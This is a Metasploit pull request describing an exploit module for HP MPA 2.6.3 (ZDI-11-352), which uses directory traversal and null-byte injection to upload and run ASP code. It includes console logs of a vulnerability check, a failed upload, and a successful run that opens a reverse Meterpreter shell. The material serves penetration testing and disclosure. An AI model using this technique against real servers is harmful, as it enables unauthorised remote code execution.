rapid7/metasploit-framework — pull request #2117 by jvazquez-r7 (2013-07-18 14:49:53+00:00)
Title: Add module for ZDI-11-352

Tested on HP MPA 2.6.3 on Windows XP SP3 and Windows 2003 SP2.

Through traversal directory and null byte injection is possible to upload arbitrary files.

Limitations: The file cannot exist previously (overwrite not allowed). The file is uploaded with IIS Guest Account (IUSR_*).

Exploit Vector: Upload and execute payload through ASP code. But a WEBFOLDER where ASP is allowed to run and write permissions for IUSR_* is needed.

In order to work properly the HP MPA application will ask for IUSR_* Write permissions on some web folders, where server side code is allowed by default:

"/hpmpa/userfiles/images/printers/",
"/hpmpa/userfiles/images/backgrounds/",
"/hpmpa/userfiles/images/",
"/hpmpa/userfiles/"

![permissions](https://f.cloud.github.com/assets/1742838/819809/156e8190-efb9-11e2-81fd-ceefd9f1a759.png)

Exploit will try to upload the ASP code to these locations. The user can specify also a WEB folder (from wwwroot) where hopefully write permissions for IUSR_* are allowed.

* Check vulnerable targets:

```
msf exploit(hp_mpa_job_acct) > set VERBOSE true
VERBOSE => true
msf exploit(hp_mpa_job_acct) > check

[*] HP MPA Version Detected: 2.6.3
[*] The target appears to be vulnerable.

```

* Exploit failing when there aren't write permissions on the default web paths:

```
msf exploit(hp_mpa_job_acct) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.161:80 - Uploading 100347 bytes to /hpmpa/userfiles/images/printers/bTSlW.asp...
[-] 192.168.172.161:80 - Error probably due to permissions while writing to /hpmpa/userfiles/images/printers/
[*] 192.168.172.161:80 - Uploading 100347 bytes to /hpmpa/userfiles/images/backgrounds/bTSlW.asp...
[-] 192.168.172.161:80 - Error probably due to permissions while writing to /hpmpa/userfiles/images/backgrounds/
[*] 192.168.172.161:80 - Uploading 100347 bytes to /hpmpa/userfiles/images/bTSlW.asp...
[-] 192.168.172.161:80 - Error probably due to permissions while writing to /hpmpa/userfiles/images/
[*] 192.168.172.161:80 - Uploading 100347 bytes to /hpmpa/userfiles/bTSlW.asp...
[-] 192.168.172.161:80 - Error probably due to permissions while writing to /hpmpa/userfiles/
[*] 192.168.172.161:80 - Uploading 100347 bytes to /bTSlW.asp...
[-] 192.168.172.161:80 - Error probably due to permissions while writing to /
[-] Exploit failed [not-vulnerable]: 192.168.172.161:80 - Failed to upload ASP payload to the target
[*] Exploit completed, but no session was created.

```

* Exploit succeeding when there are write permissions on the default web paths:

```
msf exploit(hp_mpa_job_acct) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.161:80 - Uploading 100324 bytes to /hpmpa/userfiles/images/printers/...
[+] 192.168.172.161:80 - ASP Payload successfully wrote to /hpmpa/userfiles/images/printers/
[*] 192.168.172.161:80 - Executing payload through /hpmpa/userfiles/images/printers/jKtXQ.asp...
[*] Sending stage (751104 bytes) to 192.168.172.161
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.161:1144) at 2013-07-18 09:28:19 -0500

meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.161 - Meterpreter session 3 closed. Reason: User exit

```

If HP MPA installer is needed on the r7 side for testing purposes ask me directly please.